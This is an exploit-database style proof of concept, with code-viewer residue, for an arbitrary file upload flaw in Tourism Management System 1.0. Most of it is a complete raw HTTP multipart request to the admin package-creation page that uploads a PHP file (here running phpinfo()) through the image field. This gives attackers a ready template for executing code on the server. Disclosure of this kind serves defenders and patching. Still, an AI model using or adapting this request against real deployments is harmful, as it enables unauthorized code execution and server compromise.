67 lines
No EOL
2.3 KiB
Text
67 lines
No EOL
2.3 KiB
Text
#Exploit Title: Tourism Management System 1.0 - Arbitrary File Upload
|
|
#Date: 2020-10-19
|
|
#Exploit Author: Ankita Pal & Saurav Shukla
|
|
#Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/
|
|
#Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
|
|
#Version: V1.0
|
|
#Tested on: Windows 10 + xampp v3.2.4
|
|
|
|
|
|
Proof of Concept:::
|
|
|
|
Step 1: Open the affected URL http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
|
|
|
|
Step 2: Open Tour Package -> Create
|
|
|
|
Malicious Request:::
|
|
|
|
POST /Tourism%20Management%20System%20-TMS/tms/admin/create-package.php HTTP/1.1
|
|
Host: localhost:8081
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-GB,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------63824304340061635682865592713
|
|
Content-Length: 1101
|
|
Origin: http://localhost:8081
|
|
Connection: close
|
|
Referer: http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
|
|
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagename"
|
|
|
|
Pack1
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagetype"
|
|
|
|
Family
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagelocation"
|
|
|
|
Manali
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packageprice"
|
|
|
|
21
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagefeatures"
|
|
|
|
Free
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packagedetails"
|
|
|
|
Details
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="packageimage"; filename="file1.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
-----------------------------63824304340061635682865592713
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
|
|
-----------------------------63824304340061635682865592713-- |